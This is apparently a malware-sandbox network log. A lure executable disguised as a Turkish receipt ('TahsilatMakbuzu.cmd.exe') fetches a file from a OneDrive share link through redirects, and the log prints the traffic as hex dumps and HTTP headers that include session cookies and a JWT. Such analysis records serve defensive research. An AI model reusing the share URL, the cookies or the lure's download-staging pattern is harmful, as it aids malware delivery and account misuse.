2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d Data Ascii: 5B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 Data Ascii: e,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3
2024-07-04 18:18:33 UTC	8192	IN	Data Raw: 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 Data Ascii: DDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49871	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:33 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:34 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF827FCB1AF Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: N8SxG77SF0GyLBHDrqksFA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 87531137E659484B80C20952ADB2CDE6 Ref B: EWR30EDGE0716 Ref C: 2024-07-04T18:18:34Z Date: Thu, 04 Jul 2024 18:18:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49872	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:34 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:35 UTC	2224	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:6EGyt1Wc3Ig=:j1utgkyk71qbDLdNsaK08Y5UrIdN3kUyJQ8vB9Oyeag=:F; domain=.live.com; path=/ Set-Cookie: xid=86a09c52-eead-4503-9172-dfcee9b32a05&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:34 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE0LCJuYmYiOjE3MjAxMTcxMTQsImdpdmVuX25hbWUiOiI3OCIsImZhbWlseV9uYW1lIjoiUGFydHJpZGdlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTkxNjI4ZTNiMzFjNWE2YWE0MmM2Zjc5OGYxOTYyMGMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExNH0.JBYNGWmFLTlSfKpJbi0vfTNE_qAP-rhof5_8FQ8y8BtflB-Nn-28vmJC3XR3L0RDCiyFUAQR8HSp7hmwHGHLQ3aMFo8_vV1gco7kvjR7oVI0tO6x56dlLcBVKLx1QopQFUjjCFDNHoYac59Z07R8yc-6WmZPiOG3o_47xZI_8CCqJkN2MahXcI8hcYBwnxM5HgGJFwze3_Z-xrEYsxdhi5MgFih79r51FVQCyysYvGtOlr8YAvbc5AUVQgfKS4hAew3JNUIviVbI578FRUQlx7HjB19CBp3G0pSICY2a_1o1mhaSNE2Zzs2OWUvtjRjdPbk-JYVk0pcjkiAfMzPJFA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:35 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-kv5ph X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 542DB7A5D42945F587237264081A2938 Ref B: BN3EDGE1111 Ref C: 2024-07-04T18:18:34Z Date: Thu, 04 Jul 2024 18:18:34 GMT Connection: close
2024-07-04 18:18:35 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49873	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:36 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE0LCJuYmYiOjE3MjAxMTcxMTQsImdpdmVuX25hbWUiOiI3OCIsImZhbWlseV9uYW1lIjoiUGFydHJpZGdlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTkxNjI4ZTNiMzFjNWE2YWE0MmM2Zjc5OGYxOTYyMGMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExNH0.JBYNGWmFLTlSfKpJbi0vfTNE_qAP-rhof5_8FQ8y8BtflB-Nn-28vmJC3XR3L0RDCiyFUAQR8HSp7hmwHGHLQ3aMFo8_vV1gco7kvjR7oVI0tO6x56dlLcBVKLx1QopQFUjjCFDNHoYac59Z07R8yc-6WmZPiOG3o_47xZI_8CCqJkN2MahXcI8hcYBwnxM5HgGJFwze3_Z-xrEYsxdhi5MgFih79r51FVQCyysYvGtOlr8YAvbc5AUVQgfKS4hAew3JNUIviVbI578FRUQlx7HjB19CBp3G0pSICY2a_1o1mhaSNE2Zzs2OWUvtjRjdPbk-JYVk0pcjkiAfMzPJFA; E=P:6EGyt1Wc3Ig=:j1utgkyk71qbDLdNsaK08Y5UrIdN3kUyJQ8vB9Oyeag=:F; xid=86a09c52-eead-4503-9172-dfcee [TRUNCATED]
2024-07-04 18:18:36 UTC	1922	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205810 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,5730,0,36468,4 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 511239a1-6055-5000-d818-0e7bb4911f24 request-id: 511239a1-6055-5000-d818-0e7bb4911f24 MS-CV: oTkSUVVgAFDYGA57tJEfJA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 27 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 6068FA76C1C847B480A55C238F3394B1 Ref B: BN3EDGE0321 Ref C: 2024-07-04T18:18:36Z Date: Thu, 04 Jul 2024 18:18:35 GMT Connection: close
2024-07-04 18:18:36 UTC	2914	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 34 35 33 35 39 37 2c 35 31 37 37 38 37 39 33 35 2c 32 35 39 34 36 33 31 33 30 2c 2d 38 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 36 35 31 37 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 32 38 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 31 33 32 33 35 34 32 2c 31 35 32 32 34 34 34 34 38 30 2c 2d 31 39 34 39 32 30 32 31 31 35 2c 2d 37 38 38 30 32 34 34 32 34 2c 38 38 37 31 31 39 31 2c 31 Data Ascii: 453597,517787935,259463130,-846316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,1765170509,-1360073699,-2014366983,-14711943,1936445428,1226034102,1805849191,-50532968,261323542,1522444480,-1949202115,-788024424,8871191,1
2024-07-04 18:18:36 UTC	3474	IN	Data Raw: 45 44 44 31 44 36 46 2d 36 39 46 34 2d 34 30 32 38 2d 39 46 31 46 2d 34 36 32 30 37 39 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 43 44 38 39 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 34 36 38 43 30 34 31 22 3a 74 72 75 65 2c 22 34 30 35 31 42 42 37 43 2d 33 34 39 32 2d 30 39 36 32 2d 39 37 37 35 2d 42 45 46 42 32 30 42 42 45 36 46 31 Data Ascii: EDD1D6F-69F4-4028-9F1F-462079338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206CD897CE":true,"1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5468C041":true,"4051BB7C-3492-0962-9775-BEFB20BBE6F1
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:18:36 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
